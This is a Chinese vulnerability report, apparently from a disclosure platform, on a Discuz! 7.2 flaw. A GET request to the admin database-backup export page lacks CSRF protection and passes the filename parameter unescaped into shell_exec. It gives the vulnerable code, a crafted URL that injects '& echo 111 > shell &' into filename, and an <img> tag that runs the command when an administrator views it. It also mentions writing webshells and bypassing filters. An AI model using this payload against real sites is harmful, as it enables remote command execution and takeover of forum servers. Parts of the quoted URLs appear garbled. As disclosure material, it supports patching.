### 简要描述:
Discuz! csrf+系统命令调用,一个超级简单比拖数据库还来得快的get类型csrf,一张图片搞定管理员,只要管理员敢看一下,那么他就会自动执行系统命令,创建文件,删除文件,ping 等等命令,如果有权限,也可以开关机。求精华,这个应该比那个csrf脱裤危害比较巨大吧!!!!!
### 详细说明:
直接分析代码:
admin\db.inc.php:(lines:270-287):
```
$tablesstr = '';
foreach($tables as $table) {
$tablesstr .= '"'.$table.'" ';
}
require './config.inc.php';
list($dbhost, $dbport) = explode(':', $dbhost);
$query = $db->query("SHOW VARIABLES LIKE 'basedir'");
list(, $mysql_base) = $db->fetch_array($query, MYSQL_NUM);
$dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
@unlink($dumpfile);
$mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);
echo $dumpfile;
exit;
```
这里我们打印了执行shell_exec 后的 代码 不影响全局,在7.x里面有一个bug,就是你在备份数据库的时候,发送的第一个post请求是有csrf防御,但是第二个获取相关信息的get请求,这面包括了一系列操作,没有做csrf防御,我们直接看这个链接:
url:
http://localhost/Discuz_7.2_SC_UTF8https://images.seebug.org/upload/admincp.php?action=db&operation=export&type=custom&saveto=server&filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx&method=&sizelimit=2048&volume=1&tableid=111111111111&startfrom=0&extendins=0&sqlcharset=&sqlcompat=&exportsubmit=yes&usehex=&usezip=0&sid=&usezip=0
本身这个链接的逻辑走向是当method=multivol的一个逻辑,这里是二次转发默认发送的,我们把这里值为空,那么就到了我们上面的代码了,看到这个url后进一步测试所有相关的参数,是否影响页面的走向逻辑,实际结果证明,所有参数可控
我们看着一行代码:
```
$dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
@unlink($dumpfile);
$mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);
```
上面的文件操作,这里如果找不到,也已经被@规避了
那么我们看这个很长的sql备份命令最后面的$dumpfile,这个参数完全可控,这里我就不分析代码了,拿现象说话:
如果url中同时存在<> 那么它就会被阻断,但是我们实际中只用到一个> 或者 >>就够了
她还过滤了点号和反斜杠,正斜杠,当然了这里我就证明了,我们不用这些符号就是了,实际操作
中,既然能执行系统命令,各种二进制绕过,写shell 这里我就不演示了
举例子说明,如果我们的filename=ssss
那么这个命令 就会变成这样:
```
d:/wamp/bin/mysql/mysql5.5.20bin/mysqldump --force --quick --skip-opt --create-options --add-drop-table --host="localhost" --user="root" --password="" "discuz17" "cdb_activities" "xxxxxx\'" > D:\\wamp\\www\\Discuz_7.2_SC_UTF8\\upload/./forumdata/backup_789c01/ssss
```
那么我们通过&再连接一个命令就OK了,我们把filename改为:
filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx
然后再发一次包:
```
d:/wamp/bin/mysql/mysql5.5.20bin/mysqldump --force --quick --skip-opt --create-options --add-drop-table --host="localhost" --user="root" --password="" "discuz17" "cdb_activities" "xxxxxx\'" > D:\\wamp\\www\\Discuz_7.2_SC_UTF8\\upload/./forumdata/backup_789c01/ssss & echo 111 > shell & xxxxx.sql
```
看见没有 这个命令完全构造完毕,肯定是可以执行的,我们去这个目录看看,有没有一个文件叫shell内容为111的:
[<img src="https://images.seebug.org/upload/201409/180333576092af9c1897f87a6a1849d29f71a94d.png" alt="t.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/180333576092af9c1897f87a6a1849d29f71a94d.png)
看到没有 完美执行了,最可怕的事情就是,这个链接是一个纯get的csrf,一个图片就搞定
<img src=http://localhost/Discuz_7.2_SC_UTF8https://images.seebug.org/upload/admincp.php?action=db&operation=export&type=custom&saveto=server&filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx&method=&sizelimit=2048&volume=1&tableid=111111111111&startfrom=0&extendins=0&sqlcharset=&sqlcompat=&exportsubmit=yes&usehex=&usezip=0&sid=&usezip=0>
然后发给管理员这张图片,呵呵 你说能不给闪电吗!!!!!
### 漏洞证明:
暂无评论